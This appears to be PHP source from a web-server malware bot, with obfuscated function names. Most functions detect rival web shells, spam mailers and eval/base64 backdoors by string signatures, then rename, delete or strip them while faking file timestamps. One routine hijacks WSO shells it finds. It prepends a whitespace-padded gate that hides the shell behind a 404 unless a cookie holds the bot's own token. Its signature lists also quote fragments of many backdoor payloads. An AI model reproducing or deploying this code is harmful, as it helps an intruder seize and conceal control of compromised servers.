function rxmv($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gskfxfvvrce($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function reuuz($content)
{
if (strpos($content, "imx1.rambler.ru,rambler") !== FALSE || strpos($content, "    'gmail-smtp-in.l.google.com',") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function grgcrxepcd($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rfazvgeouq($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function giarrbp($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rnbrhqzq($content)
{
if (strpos($content, "eval(base64_decode(\$_POST[") !== FALSE)
{
    $brace2 = substr_count($content, "(");
    if ($brace2 == 2)
    {
        return TRUE;
    }
}

return FALSE;
}
function gcswf($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ruxxbyhlm($content)
{
if (strpos($content, "']; eval(\$") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if ($brace1 == 2 && $brace2 == 10)
    {
        return TRUE;
    }
}

return FALSE;
}
function gkefngfffsq($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ryatmh($content)
{
if (strpos($content, ")));}eval(") !== FALSE)
{
    $brace2 = substr_count($content, "(");
    if ($brace2 == 11)
    {
        return TRUE;
    }
}

return FALSE;
}
function gktlwsbny($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rcclzxbhahi($content)
{
if (strpos($content, "mail(\$") !== FALSE)
{
    $brace2 = substr_count($content, "(");
    if ($brace2 == 10)
    {
        return TRUE;
    }
}

return FALSE;
}
function gsbjvbrxwp($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rtdgnnzh($content)
{
if (strpos($content, "]); eval(\$") !== FALSE)
{
    $brace2 = substr_count($content, "(");
    if ($brace2 == 4)
    {
        return TRUE;
    }
}

return FALSE;
}
function gvdvuo($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rreiwq($content)
{
if (strpos($content, "else \$values = \$this->macros_values(\$dm['name']);") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gaoakdykfie($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function repzciofbze($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function grht($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rnxyyefoxbc($content)
{
if (strpos($content, "\$result = mail(\$to") !== FALSE)
{
    if (substr_count($content, ")") == 2)
    {
        return TRUE;
    }
}

return FALSE;

}
function giisfnrkl($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rkjcmskuoma($content)
{
if (strpos($content, "\$telo_pisma_fail") !== FALSE)
{
    if (substr_count($content, "(\$") == 91)
    {
        return TRUE;
    }
}

if (strpos($content, "\$telo_pisma    = \$_POST[\"telo_pisma\"];") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqofyav($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ricbmp($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function gfhhaow($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rgikkzweok($content)
{
if (substr_count($content, "      '") != 0 && substr_count($content, "      '") == substr_count($content, ".\n ") && strpos($content, "eval") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function goocjipzp($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function ripxkgsns($content)
{
if (strpos($content, "         exit;    ") !== FALSE)
{
    if (substr_count($content, ";         \$") == 10)
    {
        return TRUE;
    }
}

return FALSE;
}
function gpnj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rybedkimav($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gxlcwgcxnt($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rpwcxhnhwlm($content)
{
if (strpos($content, "@chr((\$h[\$e[\$o]]<<4)+(\$h[\$e[++\$o]") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function guiobrg($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rptsess($content)
{
if (strpos($content, "eval(\"\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzshts($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rodl($content)
{
if (strpos($content, "} elseif(!empty(\$_POST[\"p1\"]) AND \$_POST[\"pass\"]") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gynalmlto($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rwdyzxnwbo($content)
{
if (strpos($content, "|<SBODY>(.*)</SBODY>|imsU") !== FALSE && strpos($content, "Message-ID: <\".preg_replace(") !== FALSE)
{

    return TRUE;

}

return FALSE;

}
function gdhjxiwpm($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rxlgfjzgh($content)
{
if (strpos($content, "mt_rand(0,count(\$not_android_urls)-1)") !== FALSE)
{
    return TRUE;
}

if (substr_count($content, "&c=wl_con&s=") === 3)
{
    return TRUE;
}


return FALSE;
}
function gbsbsntr($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rpynccpaoih($content)
{
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return FALSE;
}

$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return FALSE;
}

$content = substr($content, $sign_pos, $sign_pos_end-$sign_pos);

if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gndgbrn($path)
{
$content = @file_get_contents($path);
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return;
}
$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return;
}
else
{
    $sign_pos_end = $sign_pos_end + 2;
}
$content2 = substr($content, $sign_pos, $sign_pos_end-$sign_pos);
@unlink($path);
@file_put_contents($path, str_replace($content2, "", $content));
}
function rgzfev($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gjequvcfaq($path)
{
return;
}
function rikgyan($content)
{
if (strpos($content, "str_replace('[DOWNLOADLINK]','http://") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gciyzk($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rzttzpnqd($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "'FilesMan'");
$s2 = strpos($content, "WSOsetcookie");

if (($s1 !== FALSE || $s2 !== FALSE) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gunenqxqtg($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rjqo($content)
{
if (strrpos($content, "\\x73\\x74\\x72\\x69\\x70\\x73\\x6C\\x61\\x73\\x68\\x65\\x73") !== FALSE && strrpos($content, "\\x6D\\x61\\x69\\x6C") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function givsyyur($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rlbmwpjuf($content)
{
if (substr_count($content, "'](\$GLOBALS['") == 4)
{
    return TRUE;
}

return FALSE;
}
function gpwpb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rytzokc($content)
{
if (strpos($content, ")) { continue; } echo \$") !== FALSE && strpos($content, ") { break; } } return; } if (isset(\$") !== FALSE && strpos($content, ")) { continue; } if (@\$GLOBALS[") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gujykrbzl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdgyicizwbx($content)
{
if (strpos($content, "str_rot13('riny').'(\$www)', 'add');?>") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gbsiuql($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rryibekolj($content)
{
if (strpos($content, "?>\r\n\r\n \r\n    \r\n                 ") !== FALSE && strpos($content, "<?php eval(eval(") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gwyxttgzpwu($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhdjwfv($content)
{
if (strpos($content, "?>\r\n\r\n \r\n    \r\n                 ") !== FALSE && strpos($content, "<?php \$code=base64_decode(") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdvfsx($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rounsfjtjlw($content)
{
if (strpos($content, "0777);") !== FALSE)
{
    $brace2 = substr_count($content, ")");
    if ($brace2 == 18 || $brace2 == 33 || $brace2 == 12)
    {
        return TRUE;
    }
}

return FALSE;
}
function gldctnvyb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rekgdbljsw($content)
{
if (strpos($content, "] => 0)); if (") !== FALSE && strpos($content, ", SOL_SOCKET, SO_SNDTIMEO, ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmttlqllg($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhmltqd($content)
{
if (substr_count($content, "if(") == 41 && substr_count($content, "else") == 13)
{
    return TRUE;
}

return FALSE;
}
function gikyeskcx($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rpza($content)
{
if (strpos($content, "; eval(base64_decode(\$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcqzhyczn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwmucqik($content)
{
if (strpos($content, ");@file_put_contents(") !== FALSE && strpos($content, "));@unlink(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqngikvt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxqnt($content)
{
if (strpos($content, "<?php \$") !== FALSE && strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = ") == 5)
{
    return TRUE;
}
}
function gaszuxuab($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzhgbewfw($content)
{
if (strpos($content, "};eval(\$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gxobyyg($path)
{
return;
}
function reocn($content)
{
if (strpos($content, "<?php @array_diff_ukey(@array(") !== FALSE || strpos($content, "][0](@array((string)\$_REQUEST[") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gtvexk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlzublifmtq($content)
{
if (strpos($content, "@assert(base64_decode(\$_REQUEST") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gzmodul($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rpgw($content)
{
if (strpos($content, "if(stristr(\$result,\"INSERTED\")){echo \$result;curl_close") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gliocnfjmp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzomgeizajl($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 5)
{
    return TRUE;
}
return FALSE;
}
function grer($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rptlzk($content)
{
if (strpos($content, "<?if(\$_GET['mod']){if(\$_GET['mod']=='0XX'") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzcfyybl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhpthzm($content)
{
if (strpos($content, "<?php \$") !== FALSE && substr_count($content, ";") == 5 && substr_count($content, "=") == 2)
{
    return TRUE;
}

return FALSE;
}
function gtbhojsq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rblmmddl($content)
{
if (strrpos($content, "<?php \$") !== FALSE && strrpos($content, "move_uploaded_file") !== FALSE && substr_count($content, "elseif") == 18)
{
    return TRUE;
}
return FALSE;
}
function gwpgy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwoqiy($content)
{
if (strrpos($content, "if(isset(\$_POST['email'])) {") !== FALSE && strrpos($content, "<h4>!PhpSend!</h4>") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbwfwggvv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rydifkn($content)
{
if (strrpos($content, ".\"|\$pathToDor\"") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gteetjp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlejaauzy($content)
{
if (strrpos($content, "\$patuka = str_replace(\$pat[count(\$pat)-1],\"\",\$patuka);") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gkhdysvxicp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmarmnzybz($content)
{
if (strpos($content, "<!--checker_start") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gbka($path)
{
$content = @file_get_contents($path);

$res = "";
$istart = strpos($content, "//istart");
if ($istart !== FALSE)
{
    $iend = strpos($content, "//iend", $istart);
    if ($iend !== FALSE)
    {
        $res = substr($content, 0, $istart) . substr($content, $iend + 6);
        $cutted = substr($content, $istart, $iend - $istart);
        if (strpos($cutted, "<!--checker_start") !== FALSE)
        {
            $file_time = @stat($path);
            if (!$file_time)
            {
                $file_time['mtime'] = time();
            }
            @unlink($path);
            @file_put_contents($path, $res);

            @touch($path, $file_time['mtime']);
        }
    }
}
}
function rwcfaswgp($content)
{
if (strpos($content, "@preg_replace('/(.*)/e', @\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gkebwwldsjj($path)
{
$content = @file_get_contents($path);

$res = "";
$istart = strpos($content, "@preg_replace");
if ($istart !== FALSE)
{
    $iend = strpos($content, ";", $istart);
    if ($iend !== FALSE)
    {
        $res = substr($content, 0, $istart) . substr($content, $iend + 1);

        $file_time = @stat($path);
        if (!$file_time)
        {
            $file_time['mtime'] = time();
        }
        @unlink($path);
        @file_put_contents($path, $res);

        @touch($path, $file_time['mtime']);
    }
}
}
function rsdabgsf($content)
{
if (strpos($content, "Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") !== FALSE) { return TRUE; } return FALSE;
}
function gjwbwt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function raldht($content)
{
if (strpos($content, "=__FILE__;if (strlen(\$_") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcrucbtm($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rygijtept($content)
{
if (strpos($content, "\$O_xz=@gzinflate(strrev(\$M_ua));") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzjohgke($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rvpibzwk($content)
{
if (strpos($content, "function EditHtaccess(\$fileData)") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gjccmfycork($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhfszpf($content)
{
if (strpos($content, "');eval(\$") !== FALSE) { $brace2 = substr_count($content, "("); if ($brace2 == 7) { return TRUE; } } return FALSE;
}
function gasnxfe($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
